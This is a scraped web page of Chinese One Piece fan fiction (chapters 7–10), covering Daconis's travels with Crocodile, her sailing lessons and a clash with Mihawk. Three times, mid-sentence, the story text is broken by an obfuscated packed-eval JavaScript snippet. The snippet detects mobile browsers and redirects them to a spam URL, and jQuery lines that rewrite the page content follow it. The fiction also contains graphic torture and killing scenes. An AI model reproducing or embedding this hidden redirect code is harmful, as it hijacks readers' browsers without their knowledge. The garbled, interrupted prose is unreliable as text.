黛可妮斯就在他身边,要是那些混账说出什么不该说的话……
怕什么来什么,海贼们的叫嚣声又隔着海面传过来:“你小子还挺会装的嘛!哇哈哈!开个条破货船,连个旗帜都不挂,生怕哥几个把你认出来吗哈哈哈……”
黛可妮斯刚刚产生了一点疑惑,就见眼前身影一闪,一袭愤怒的黄沙已经冲天而起,径直袭上了对面的海贼船。
两方厮杀起来。
黛可妮斯无语。再怎么对自己的能力有信心,也不该独身一人冲到对方的船上吧,万一是圈套该怎么办?
然后一张缀满海楼石的钢丝网就从天而降,正正好将克洛克达尔罩住。
啊,果然是圈套,瞧瞧克洛克达尔漆黑的脸色吧,直接让黛可妮斯笑弯腰了。
海贼们一哄而上趁机补刀,同时船上搭载的火炮也被点燃,一颗颗炮弹眼看着就要落在黛可妮斯身处的货船上,她却不慌不忙,甚至打了个呵欠。
因为那短暂消失了片刻的黄沙,已经再度出现。
克洛克达尔不知用何手段挣破了海楼石的钢丝网,裹挟着无数致命沙刃的龙卷风在甲板上突兀出现,将所有海贼和发射出来的炮弹一并吞并。
黛可妮斯悠闲地坐下来,伸手去够桌上盘中的曲奇饼干,手腕却被带着细细黄沙的大掌一把握住。
黄沙将将凝出了克洛克达尔的身形,此时的他脸色不善,配合着背景里被龙卷风一路吹远的海贼们的惨叫声,显得气势十足。
“你就这么坐在这里,眼睁睁看着?”
黛可妮斯闻言哈哈大笑,连曲奇饼干也顾不上吃了。
“你做的真棒,小鳄鱼。”她一边笑,一边伸出手拍了拍克洛克达尔的胳膊,“愤怒的小鳄鱼想要大闹一通,但是被海楼石网住,不得已现了原型……”
她挤挤眼睛:“很精彩的表演。”
然后接下来的路程上,克洛克达尔没再对她说过任何一句话。
7. 第 7 章
黛可妮斯怀疑克洛克达尔想组建佣兵小队,或是其他的什么组织。
这是她跟随克洛克达尔,来到被誉为地下世界交易天堂的「黑色梅花鹿」群岛后的第三天,发现的。
他们掠夺来的一部分货物在此地交给商人,剩下的部分则被克洛克达尔分批装在不起眼的小货船上,再度运出海去了。
他一定在某地拥有着自己的仓库,在其中储存了大量的物资吧。
克洛克达尔两指夹着一张薄薄的支票,是刚刚从黑市商人手中接过来的,笑着弹了弹:“还远远不够呢。”
“但是作为对你的承诺,”他手指一挥,支票直指面前高高低低的建筑群,“这几天,在此地,随你挥霍。”
那张支票上的数字的确让黛可妮斯数了好几遍。
抵达此地后,克洛克达尔仍在马不停蹄地会见着一批又一批的人,他对资金和物资汲汲渴求,黛可妮斯知道他一定还在计划着什么庞大的计划。
同时,他打量的视线总似有若无地落在路边的行人身上,似乎在默默地评估着他人的战斗力,能不能为他所用。
可惜最后,他收回的视线往往带着轻蔑。
谁也没看上,他没找到适合成为同伴的人。
从小一块长大的小伙伴筹谋着什么,但这完全不影响黛可妮斯花他钱的速度,丝毫没打算省钱。
要怪也只能怪这个名为「黑色梅花鹿」的群岛上,各种奢侈的诱惑太多了。
这里是地下世界里年均交易量最大的枢纽网点,每时每刻都有无数条船只在港口进进出出,走在此地的街道上,电话虫“噗噜噗噜”叫起来的声音不绝于耳。
克洛克达尔说,整片大海的金币流动,大概有三分之一是这个不起眼的小群岛掌控的。这里的一砖一石,一草一木,都被钞票浸满了钱味儿。
想要找到「黑色梅花鹿」群岛的位置可不是一件易事,但只要你一脚踏在了它的土地上,整个地下世界的黑暗交易便会毫无保留地在你眼前上演。
一开始,黛可妮斯在商业街上从头吃到尾,又时刻不断享受着高档的芳香理疗和按摩等服务,差点就忘了自己到底身处什么地方。
后来她注意到了。
她真的没见过这么多钱,也从没想到还有人会将一箱箱满满的黄金融化,趁着那灼热的温度还没降下来,径直灌进犯人的嘴巴里,直到犯人被从里到外浇筑成一尊与血肉混合的金像。
犯人连惨叫都没来得及发出来,滚烫的黄金在一瞬间便摧毁了他的发声器官,而他的生命在痛苦挣扎的三分钟后才终止。
原来罪恶还能如此不加掩饰,就发生在街头。
黛可妮斯在那尊扭曲而挣扎的金像前驻足了片刻,而克洛克达尔则是对这种浪费贵金属的行为嗤之以鼻。
黛可妮斯非常喜欢黄金,也杀过一些人,但是当这两者带着皮肉烫烧的焦味结合在一起后,她却后知后觉地感到胃里一阵翻涌。
克洛克达尔看着她发青的脸蛋,轻轻问:“还记得我们杀的第一个人吗?”
当然记得,那个满身刺青、总带着一股酒臭味的混账大叔。
现在想起来,那应该是个海贼吧。
幼小的黛可妮斯双腿死死锁住他的脖颈,双臂卡在男人的嘴巴里,被发黄腥臭的大板牙咬得皮肉翻飞,却不肯放开一分一毫,唯恐捂不住男人的怒吼声。
男人的咽喉已经被割开,却因小孩子的力道不足,割得太浅,虽然滚烫的热血在不断喷出,却也无法让他在顷刻间见到死神的黑色翅膀。
遍体鳞伤的克洛克达尔,额前的发丝散乱,挡住他喋血而闪闪发光的眼睛。瘦小的胳膊早已脱力,却还在机械地挥舞着,冰冷的匕首在男人粗糙的腹部肌肤上割开一个又一个血口,直到那锋刃也被血液暖热了。
男人终于因失血过多倒在地上,一同瘫倒在地的,还有两个被染成血人的小孩子。
这个家伙曾经割开了克洛克达尔的肚子,现在他的死样和当时的克洛克达尔差不多,肠子和脏器流了满地。
克洛克达尔倒在地上,因复仇成功而发出的怪笑声,直到现在还萦绕在黛可妮斯的耳畔。
“不要畏惧杀戮,”他在她耳边轻声说,“不然死的就会是自己——你忘记这一点了吗?”
黛可妮斯没有说话。
克洛克达尔瞅着她,似乎是笑了一下,一条手臂自然而然地搭在她的肩膀上,勾着她快步离开。
“你变得软弱了,”他说,“是因为那个餐厅吗?”
黛可妮斯不认同这个观点,但她也没有像往常那样反驳他。
她一直以为自己是弱肉强食法则的忠实拥趸,拥有力量便能够掠夺一切、玩弄一切。
但是现在,再度回头,望向那尊透露着死亡气息的金像。
在追求力量的过程中,失败者又该如何呼吸?
她的胸腔中并没有生出半分所谓的「同情心」——就算有,她的同情也不会灌注到陌生人身上。
只是在想,如果失败者是自己呢?自己该怎么办?
如果是克洛克达尔失败了,他会怎样呢?
她微微偏过头,将目光落在克洛克达尔的脸上,非常桀骜的一张脸,非常年轻。
即便已经在将自己打扮作成熟的模样,但那副留意到她的视线后而转过来的眉眼,还是带着青年特有的形状。
极为锋利的一柄剑,坚硬而锐气逼人,却也非常脆弱,容忍不了一丝一毫的弯曲,宁愿折断。
……
那天之后,黛可妮斯还是像往常那样,不断出入高端服务会所,挥霍着克洛克达尔的钱。
躺在被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012790|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烤得热烘烘的黑色细砂之上,由昂贵油脂和香料打造而成的熏香点燃后散发出令人昏昏欲睡的沉迷味道,黛可妮斯像一块松软的面团,接受着侍者的精油按摩。
她恨不得能天天按个八小时。
此时侍者刚为她按摩完,给她披上一块毛巾便离开了,黛可妮斯动也不动,尽情放松着全身。
因此,当克洛克达尔赤着脚踩在细砂上,走到她身旁蹲下来的时候,黛可妮斯昏昏欲睡,连个眼皮子都懒得掀开。
感受他的指尖落在自己的肩头,黛可妮斯这才不情不愿地睁开半只眼睛。
有一些黑色的细砂粘在她的肩头,被克洛克达尔捏了去,在指尖缓缓碾开。他看着手中的细砂,嘴角忍不住勾起一点不屑的冷笑。
她说:“这里是女宾专用房间,小混账。”
克洛克达尔挑眉:“这沙子有什么可躺的?不过是加热后带了点温度,就让你这么依依不舍?”
黛可妮斯懒得和他解释,其实刚才侍者介绍热砂理疗的好处时,她也完全没记住。
反正舒服就行了。
克洛克达尔见她不说话,嗓音便冷了些:“真遗憾,再喜欢你也要离开了——我们今晚就动身离港。”
黛可妮斯终于发出了一声痛苦的悲鸣。
“至少现在,”她悲愤道,“你给我滚出去。”
克洛克达尔哼笑一声,却在站起身的时候,顺手将一旁的水杯拿起来,几口喝个干干净净。
黛可妮斯本来还没觉得口渴,可是看到见底的水杯后,立刻感到有些抓耳挠腮。
“那是我的花茶,”她咬牙切齿,“五千贝里一壶呢。”
“那是我的贝里,”克洛克达尔理所当然道,“更何况,走在热沙之上的人们,本就不该有水喝。”
黛可妮斯在想,要不要把这家伙的脑袋和两张大脚板缝在一起,让他只能滚着出门。
一看到那副表情,克洛克达尔就知道她在想什么:“我劝你最好不要那样做。”
身侧的黑色细砂突然凝出一只手掌来,在黛可妮斯的肩膀处拍了拍。
黛可妮斯:……威胁她?
从小到大,两人不知打过多少次了,难道她还会怕这条沙鳄鱼?
她慢条斯理地爬起来,整理着身上宽大的毛巾,使之牢固地呆在身上。
克洛克达尔一愣,慢吞吞地转过身去,没有看她。
故意卖破绽给她?黛可妮斯可不管这么多,指尖银光一闪,直奔克洛克达尔而去。
最后两人从按摩室里出来的时候,黛可妮斯一手捂着摇摇欲坠的毛巾,浑身沾满了黑色的沙子,带着胜利的微笑,趾高气扬地前往浴室了。
而克洛克达尔,头发凌乱,一手扶着额头,似乎在狠狠地磨着后槽牙。
但是耳朵红彤彤的。
8. 第 8 章
一艘吨位不大的小型船只,在众多大型货船面前显得格外袖珍。它没有搭载任何重火力武器,而是着重提升了速度和舒适度,同时兼顾了快艇般的灵活性。
非常具有流线型美感的船型,船体由一种暗黑色的木材制成,结构很简洁,连一点冗杂的多余造型都没有。
黛可妮斯一见到这艘船,就想将之据为己有了。
她的手掌爱怜地落在船舷上,头也不回道:“这艘船叫什么名字?”
克洛克达尔沉默了一下,其实他也是刚刚买下这艘船,还没来得及考虑这种取名问题,或者说,根本懒得将心思用在这种无关紧要的小问题上。
于是他说:“你可以给它命名。”
“我给它取了名字,它就是我的了哦。”
克洛克达尔嘲笑地勾起嘴角:“如果你会掌舵,还会看海相的话。”
黛可妮斯狠狠瞪他一眼:“我早晚会学会的。”
她连踏板也没有踩,径直跳上甲板,轻快的步伐跳跃着。她快乐地冲到驾驶台面前,整个人趴在刷着亮面漆油的船舵上。
“就叫「黑隼号」吧,”她眼睛闪闪发光,“我希望谁也追不上它的速度,它将会是这片大海上最自由的小黑鸟。”
当晚,这艘小黑鸟就启航了。
自然不是由黛可妮斯或克洛克达尔来掌舵——他俩谁也不会,但克洛克达尔雇佣了几名专业的舵手和航海士。
黛可妮斯搬个小板凳,坐在操作台后面,瞪大双眼,学习如何开船。
克洛克达尔见她这副样子就想笑:“有必要这么认真吗?”
“人怎么能不会开船呢?”黛可妮斯斜他一眼,“又不能永远雇人驾驶。”
克洛克达尔当然明白这个道理,也想至少拉个航海士入伙,可惜航海士哪儿有那么好找?十个人里面有九个人已经有了自己的海贼团,剩下那一个,就是专门受雇后进行短途驾驶的。
他说:“那你努力学习,以后就靠你来开船了。”
“你也给我过来学习啊喂,”黛可妮斯翻个白眼,“我也不可能一辈子呆在你身边。”
“为什么不可能?”这句话让他有点不舒服,“你会的。总之我先去睡觉了。”
夜色已经深了,但他们的船依旧以全速行驶着,这是克洛克达尔的要求,于是舵手们只好轮流掌舵。
黛可妮斯一点困意也无,拉着舵手问东问西,从驾驶不同船只的要点,到伟大航线上的传奇故事,越听越兴奋。
舵手是个已经有六十岁的老船工了,看黛可妮斯就像看自己女儿一样,问她:“话说小姑娘你们,真的不是海贼吗?”
黛可妮斯很意外:“当然不是,大叔你为什么要这样说?”
“只是觉得气质上有些像,尤其是那个雇佣我们的青年……”老舵手耸耸肩,“他这么着急地要我们启航,大概也是为了「武斗岛」上那三年举办一届的比赛吧。”
本次出海的目标,黛可妮斯倒是听克洛克达尔说了一嘴,为了找到更多值得同行的伙伴,他打算去那个「武斗岛」上碰碰运气,试图将一些实力强大的家伙拉入麾下。
不过比赛什么的,她还不太清楚。
听老舵手说,那个岛的地貌很特殊,自然力量下形成了无数个圆形的石台,远远望去就像一个个擂台。而岛上的原始居民们又天生好斗,虽说远远比不上艾尔巴夫的巨人族们,但在南海海域内,也算的上是生猛了。
久而久之这个岛屿出了名,有越来越多企图证明自己的家伙们来到此地,每击败一个人,就会在自己腰间绑上一根长长的布条。布条越多,就证明此人实力越强。
而要说「武斗岛」上最大的盛事,还要数每三年举办一次的超级比赛,届时岛上的每一个圆形石台都会同时进行激烈的战斗,直到为期五天的比赛结束。
黛可妮斯对此等热血人士举办的热血比赛,丝毫不感兴趣,甚至嗤之以鼻。
他们没有什么正经事情可做吗?一整座岛上的人都在干仗,还有谁在从事生产?
但架不住克洛克达尔想去看看,黛可妮斯也只好跟着走一趟了。
见黛可妮斯对此话题兴致缺缺,老舵手便岔开话题:“你站到操作台面前,试着自己开船吧。”
黛可妮斯一愣,望着那船舵和各种仪器表盘有些不敢上手,担心毫无实操经验的自己会操作失误。
“如果只是站在后面看的话,是永远学不会的。”老舵手补充道。
她抬起头,透过玻璃窗口,望向前方的海域。
夜晚的风浪稍稍平息了些,不如白昼里那样猛烈,但前进的船只依旧需要时刻控制住船舵,防止因某些细小的影响导致偏航。
黛可妮斯的手指落在外面包了一层金属皮的木制船舵上,缓缓地握紧,她很紧张,连大气也不敢出,连指尖的边缘都用力到发白。
“放轻松,”老舵手说,“你并不是在驾驶船只,而是在引导船的行动。无论大船小船,所有船都是有灵魂的,也有自己的喜好,而我们所要做的,就是劝说船只,让它们不要太过顽皮。”
他将动力系统的速度提升到最高,黛可妮斯顿觉手中的船舵变得千斤重,想要维持其平衡简直难于登天。
而老舵手却将双手往后一背,连一点要帮助的意思也没有:“稳住,我教过你的,留意海流的方向,顺势而行。”
黛可妮斯咬着牙扶住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012791|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
船舵,因为船只的行进速度过快,她望着前方的海面,甚至感到有些轻微的眩晕。
海风从窗口吹进来,掀起她的头发,她忍不住道:“师傅,这个时候,我是不是,应该调整一下风帆?”
老舵手:“你觉得呢?”
黛可妮斯一边伸手去够操作杆一边说:“我觉得应该是……”
但是很显然,她将风帆调得太过了,海风受到阻碍自然不甘示弱,顿时船身颤抖着微微倾斜了。
“……师傅!”
老舵手依旧不紧不慢:“自己调整,自己想。”
黛可妮斯心脏狂跳,脑袋里一个小人在崩溃地大喊自己做不来,另一个小人也在大叫——不过是在激动地嚎叫:“瞧瞧这速度!瞧这风!这浪!这一望无际的海面!给我冲啊——”
她咬着牙关一声不吭,眼疾手快地一一调整回拨,她必须尽快做出应对,眼下的情况再继续下去恐怕就要偏航了,倒时候再想调整可就是大麻烦了。
“师傅、我是不是可以这样——”
话音未落,她便已经做出了行动,手下猛打船舵,以一种事后她自己都感到震惊的爆发力道,将船头猛地一转,瞬间借着海流之势扳正船身,紧接着又拉紧马达,全速破浪向前。
然后所有在床上休息的船员,包括克洛克达尔在内,都被此变动带来的巨大惯性给扔下床了。
被她这一招弄得跌坐在地满脸惊恐的老舵手:?
这边黛可妮斯还心有余悸地喘着粗气问老舵手她做的对不对,那边一袭黄沙身影已经气急败坏地冲进门了。
克洛克达尔的脸在黄沙中缓缓凝成,带着美梦被打扰了的不善:“我还以为有敌袭。”
黛可妮斯讪笑:“不好意思啦,不过我大概已经找到感觉了哦,师傅你看,我是不是已经……”
下一秒船头就又偏了。
这次老舵手也没有废话了,直接一步上前接过了黛可妮斯手中的轮盘,手下微微一打便将船只回正。
叹了口气:“小姑娘你还是先去休息吧,毕竟都半夜了。”
黛可妮斯:……
心虚地低头走出操作室,却感到如芒在背,一回头,对上克洛克达尔眼中满满的嘲笑。
“看来我们还是需要继续依靠专业的船员呢。”
黛可妮斯看见他那嘴脸就来气,当即一拳揍到他脸上,黄沙四溅。
“真遗憾,”克洛克达尔的面庞缓缓复原,“你还是省省力气吧。”
黄沙化作的手掌不容置疑的落在黛可妮斯的肩头,用力将她推着向前走,克洛克达尔嘴角带着笑意。
“该睡觉了,你这个半夜不睡觉搞破坏的家伙。”
9. 第 9 章
「武斗岛」到了。
黛可妮斯二话没说,径直从甲板上跳下来,一声不吭地离开了。
老舵手望着她的身影,有些担忧:“她这样独自行动,会不会有危险?毕竟这里鱼龙混杂,又恰逢比赛召开……”
“她能够自保。”
克洛克达尔面上波澜不惊,手里将钱袋子交给老舵手等人:“这是你们的报酬,离开吧。”
老舵手等人一愣:“你们不需要返程吗?”
克洛克达尔:“既然你们没有人愿意成为我的船员,那这便不是你们需要考虑的问题了。”
他几步迈进船舱关上门,只留下面面相觑的舵手们。老舵手掂着手中的报酬,叹气道:“刚教了个基础就赶走老师,是不是有点……”
时间回到抵达此地之前,黛可妮斯又试着驾驶了几次船只,虽说她已经越来越熟练,可克洛克达尔却总是对她露出一副嘲笑的表情。
仿佛完全不相信她的能力一样。
黛可妮斯一开始懒得和他计较,结果就在她险之又险地驾驶着船只绕开一片礁石滩后,那家伙又张开了可恶的嘴巴。
他当时是这样说的:“无所谓,触礁就触礁,反正快到目的地了,倒时候再换一艘船就是,这条破船哪里还值得你费这么大力气?”
此言一出,黛可妮斯怒了,众雇佣来的船员也怒了。
于是黛可妮斯和克洛克达尔大吵一番,抵达「武斗岛」后就自己下船,完全没再和他说任何一句话。
黛可妮斯真的怀疑,如果哪天烧饭的时候没柴火了,那家伙会毫不迟疑地拆下甲板来烧火。
可恶,为什么世界上会有如此不爱惜船只的人?就算他吃下的恶魔果实具有浮空飞行的能力,也不能如此小瞧大海吧!
不知天高地厚的小屁孩,她在心里骂道。
闷着头暴走一通,没走多久,她的注意力就被周围人声鼎沸的环境所吸引了。
一个又一个的岩石圆形台地覆盖在岛屿之上,已经有不少人正在其中展开战斗,越往岛屿的中心地带前进,人群就越密集,大部分的人在腰间都绑着几根布条。
身处此地的每个人都神色激昂,场上的战斗者嘶吼着相互搏杀,场外的围观者或叫好起哄,或诅咒谩骂,热热闹闹地进行着下注。
今天是比赛开始的第一天,黛可妮斯只能庆幸自己来晚了,不然要是赶上比赛开幕式的热情人群,就足以把她挤个半死。
在这里的比赛甚至不需要你报名,如果想和某人发起决斗,只需拖着对方踏入一个圆形石台,或是站在石台中间,就会主动有人踏进来进行对决。分出胜负之后,胜者会从败方的衣摆处撕下一根沾血的布条,绑在腰间,来彰显自己的战绩。
黛可妮斯没想过自己也会被人视作想要战斗的对象,没一会儿功夫,已经有好几个家伙想要抓住她的胳膊,试图将她拖进圆形石台中间。她只得左闪右闪,借着丝线的控制来躲开这些疯狂的好战者。
那些家伙见捉不到她,也不纠缠,立刻就会将目标对准下一个人。可以看出,只要能够战斗,他们完全不挑对手是谁。
黛可妮斯又躲开了一个家伙的袭击,却在避让的时候,撞到一人的后背,皱眉回过头去,却对上一双老鹰般凌厉的金色眼睛。
是一个黑发青年,看上去大概十五六岁的模样,大概是还没到发育期的缘故,个头还不及黛可妮斯,却背着一把与他体型不太符合的巨大黑刀。
那双眼睛冷漠而锋芒毕露,大概是将黛可妮斯误认作是要发起挑战的人,青年丢下一句“我对你这样的女人不感兴趣”,就转身离开。
好让人不爽的态度和发言,黛可妮斯额角青筋跳动了一下。
眼看着黑发青年越走越远,黛可妮斯指尖一勾,几道丝线不知不觉地缠上了青年的皮质长靴,只见他脚下绊了一下,身子一歪,后背的黑刀直接在旁人的胳膊上划了个口子。
伤口不深,却已足够激怒对方,当即就高喝一声,拖着黑发青年就往隔壁的石台上冲去。
在那一瞬间,黑发青年的眼睛,盯住了黛可妮斯。
没想到对方的直觉这么准确。那眼神让她胳膊上起了点疙瘩,黛可妮斯一边伸手搓胳膊,一边回他一个挑衅的笑容。
下一秒,却见黑发青年伸手按在巨大黑刀的刀柄上,还未看清他是如何拔的刀,对手便已鲜血喷溅着倒了地。
黛可妮斯不敢笑了。
围观的人群却骤然激动起来,一时间无数的人都想冲上台来和青年一决胜负,可他们大多连青年的一招也接不下来,只能落个倒在地上呻吟的下场,可即便如此,还是有人源源不断地冲上来。
趁着青年被人们围住,黛可妮斯连忙脚下抹油溜走了。开玩笑,这一看就不是她惹得起的狠角色啊。
而仍旧站在场中央的米霍克,面无表情地砍倒一个又一个废物对手,完全没有将女人的挑衅放在心上。在他眼里,这不过是一件无足挂齿而又不屑一顾的小事。
心里无聊极了,他可不是为了打倒这些废物而来到这座岛屿的啊。难道武斗岛那远扬四海的威名全是假的吗?
他想要的是和真正的强者对决,而不是将时间浪费在这些无名之辈身上。
也许是时候离开这座名不副实的岛屿了,只不过问题在于搭乘谁的船——前几天他搭乘顺路的海贼船来到此地,却没想到那个海贼团刚把他放下就避如蛇蝎地逃离了这座岛,是群彻彻底底的胆小鬼。
无聊极了。米霍克打了个呵欠,翻手一劈砍下对手的胳膊。
也许是时候搞一艘属于自己的船只了,他想。虽说驾驶什么的,他目前还是搞不定,不过要是乘船顺着海流漂泊的话,似乎也不错。
*
没兴趣继续观看比赛的黛可妮斯,逆着人流的方向来到了海边。这里是一处适宜停船的良港,绝大多数的来客们都从此地登陆,并将船只停泊在这里。
黛可妮斯兴致勃勃地观察着各式各样的船只,意外地发现了还有不少商贩的船只也停泊其中,就地叫卖,形成了一个临时的小集市。
「武斗岛」的赛事盛名在外,自然也吸引了五湖四海的商贩们前来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012792|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
借着赛事的庞大人流量,商贩们不遗余力地推销着自己的货物,在其中占大头的,自然是伤药一类,但除此以外,其他的商品也是应有尽有。
好在离船之前,带上了自己的钱包。黛可妮斯逛街是从来不需要拎包的,看中什么东西付款后就直接发动能力,变成布片花样缝在衣服上,走起路来也轻轻松松。
先是买了一些简单的内服药,又买下几本基础识字书,还有几卷海图。视线在书架上打了几转,又遗憾地收回来。
她想学习有关海相的知识,可惜凭自己现在的识字水平,就连书籍封面上的标题都看不明白。
正准备再逛逛,却听见不远处发出了不小的骚乱,放眼望去,只见有些人正忙不迭地回到船上,手忙脚乱地准备开航。
远处,似乎有几只不太一样的船正在驶来。黛可妮斯定睛一看,是海军的军舰。
身边的书店老板不禁咂舌:“怎么好端端的会有海军过来啊……往年海军们都不会管这里的比赛的,这下完了,把海贼们都吓跑了,我上哪里找顾客啊?”
黛可妮斯心里却是不以为然,有了海军在,那些烦人的海贼们也能安分点。不过话虽如此,她对海军也没什么好感,一想到他们会找修士们购买孩子充作士兵,就心生厌恶。
本身就对这座充满战斗的岛屿不怎么感兴趣,海军的到来更让她兴致缺缺,当下也不再逛街,直接返回自家船只的停泊处。
回到船上,不见其他船员的身影,还以为他们已经上岛参观去了,正要回到自己的房间,克洛克达尔便推门出来了。
他一手夹着雪茄送到嘴边,边说话边点燃:“这就回来了?”
虽说离开之前还吵架来着,但是冷静过后的黛可妮斯觉得,和这种幼稚的小屁孩斤斤计较,才是最为愚蠢的事情。
“其他人呢?你没去看,那边可是‘热闹’极了,一个个只知道打架,跟打了鸡血的疯狗一样,让人看了就烦……”
黛可妮斯一边吃着刚买的脆米饼,一边碎碎念。在这种想到什么说什么的闲聊中,黛可妮斯说话基本上是不过脑子的,其实她也不是很在乎克洛克达尔愿不愿意听这些罗里吧嗦的废话,要是能将他烦走是最好的了。
克洛克达尔便轻轻地笑,后背靠上门框,捏着雪茄吸了一口,有一句没一句地接着话茬,突然听见她接下来的话,就不笑了。
黛可妮斯说:“……本来我还去买了点东西,港口那边有个小集市,谁知道海军也开着几艘军舰过来凑热闹,没心情了,这地方真烦人。”
她没注意到克洛克达尔变换的脸色,只打了个哈欠:“你不是还要找什么同伴吗,依我看不行就算了吧,这里都是一群疯子,真出了点什么事情还不够拖后腿的呢。”
“还不如早点启航,离开这里,”她摆摆手,回到自己的房间,“等你待够了准备走的时候再叫我吧。”
直到房门被关上,克洛克达尔也没再说一句话。他捏着雪茄走到甲板之上,遥遥望向远处的海湾,眉头轻轻皱起。
看来这次,他不得不低调行事了。
10. 第 10 章
黛可妮斯回到房间后就捧着识字书,开始艰难地学习。
她知道在某些地方建有专门教人文化的学校,在海上餐厅打工的那几年里,也见过不少教师带着学生们出海的旅游团。但是她却觉得,像那样的教学环境,并不是自己想要的。
虽说她当时也完全交不起学校的学费就是了,但昂贵的学费绝不是她讨厌学校的原因。
虽然学费很贵,但绝不是这个问题。
绝不是!真的不是!不过话说回来,为什么教人识字的机构还要收费啊可恶!
其实黛可妮斯学东西的速度是很快的——前提是她对那些东西感兴趣。比如怎样驾驶一艘船、船的结构是怎样的,或者如何潜入一个地方、以什么角度把刀子捅进人体不会被骨骼卡住刀刃……
但是!识字!那些奇奇怪怪的字母组合在一起,居然就能表达出不同的意思!黛可妮斯不仅要记住那些古怪的符号,居然还要记住它们的排列顺序!这简直……简直太抽象了!完全理解不了啊喂!
于是在刚刚成为餐厅侍者的时候,黛可妮斯是按照菜单上单词的位置,来判断这些是什么菜品的。
第一行是意式烩饭、第二行是什锦炖菜……最后两行是酒品,不用管客人点的是什么酒,一率上最贵的就好,反正菜单上没有标注价格,等到他们用完餐看到账单的时候想后悔也来不及了。
结果后来厨房来了新的厨师,他会根据时令食材的变化经常调整菜单,黛可妮斯就傻眼了。
最后逼得她不得不努力记住那些可恶的单词,可以说拜厨师大人所赐,黛可妮斯的词汇量扩展了不少。
只不过绝大部分都是和饭菜有关。
黛可妮斯自己也知道,不认字是绝对不行的。克洛克达尔那家伙倒意外地算得上学识深厚,只可恨的是,每当黛可妮斯拿着自己的识字书想问他问题的时候,那家伙的脸上就会露出一种微妙的、淡淡的嘲讽笑意。
让人火大个不行。
真想有一天自学成才,然后把这些可恶的识字书全部拍到那家伙的脸上,把他的鼻梁连同那露出蠢笑的嘴唇一同拍扁。
黛可妮斯恶狠狠地咬着铅笔后端的橡皮,完全没留意到克洛克达尔是什么时候离开船的。
直到晚饭时刻,她刚把那本该死的识字书踢到一旁,房间里某个角落里就爆发出一阵撕心裂肺的“噗噜噜噜噜!!!!”
她被那神经质的电话虫叫声吓得滚下床来,手脚并用地到处寻找声音来源,最后终于在衣服堆里找到了那个叫声格外凶猛的小电话虫。
当初克洛克达尔将这东西交给她的时候,也没说这来电铃声比死神的脚步声还要夺命啊。
刚一接起来,克洛克达尔那上气不接下气的声音几乎要化为实质砸在她脸上:“怎么才接电话——立刻开船!!”
为了保护耳膜的健康,黛可妮斯将听筒拿远了一些。
“船上就我自己在,不用等其他船员了吗?”
“雇佣已经结束了……”似乎有一道风声在话筒那边响起,克洛克达尔短暂地停顿了一下,片刻后,他那又提高了八度的声音再次传来,“立刻!开船!向外海去——”
黛可妮斯已经奔向驾驶舱,她将喋喋不休的小电话虫丢到一旁,伸手去拉操作杆,在这空隙中,她抬起头,透过窗户向外望了一眼。
她看到不远处的岸上,克洛克达尔那黄沙身影正奔袭而来。
看上去十分气急败坏。
要说原因的话,大概就是,此时此刻,手持巨大黑刀,站在甲板上的青年吧。
黑发青年的一只衣袖被黄沙扯断,他便直接将那残破的外套脱下,一抬头,正对上黛可妮斯的视线。
他眯起眼睛:“是你。”
唔,自己曾经挑衅过的家伙,看样子也被克洛克达尔挑衅了啊。
而这家伙现在就来意不善地站在她珍爱的船只甲板上。
黛可妮斯有点想笑,停下了手中的动作,走出了驾驶舱,站在黑刀青年的面前,想着用什么办法能将这个不速之客丢下船去。
青年手中的刀尖微微一动:“去开船,否则我就将你和这条船都劈为两半。”
话音未落,那道黄沙的身影飞身上船,落在甲板上,手臂一伸将黛可妮斯挡在身后。
克洛克达尔在冷笑中化出原身来,盯着眼前的黑刀青年:“米霍克,既然不愿意合作,怎么又敢腆着脸上我的船?”
“现在拥有选择的不是你。”被称为米霍克的青年说,“开船,或者连同船只一同沉入海底。”
他手腕一翻,几道剑光直冲而来。克洛克达尔的脸色更加阴沉,避开对方的攻击便欺身上前,五指抓出数道沙刃攻向米霍克的头颅。
而站在一旁、莫名其妙就开始观战的黛可妮斯,终于体会到了,当海贼们在餐厅中闹事时,餐厅秃驴老板的心情了。
别伤到她的宝贝甲板!宝贝船舷围栏!宝贝桅杆!宝贝船帆!
她磨着牙,暗自琢磨怎么做才能将这两个蠢货统统丢进海里。
就在她手里拎着半桶水准备泼到克洛克达尔身上,想顺便再趁乱摸一把黑刀将之变为绣花图样的时候,有个炸弹落到她身边了。
确切地说,是落在「黑隼号」身边了。有足球大小的炸弹,一落水便剧烈爆炸,掀起了几楼层高的水花。
小小的「黑隼号」差点就被这浪势掀翻了,要不是她及时将自己的脚缝在了甲板上,说不定现在已经滚到海里去了。
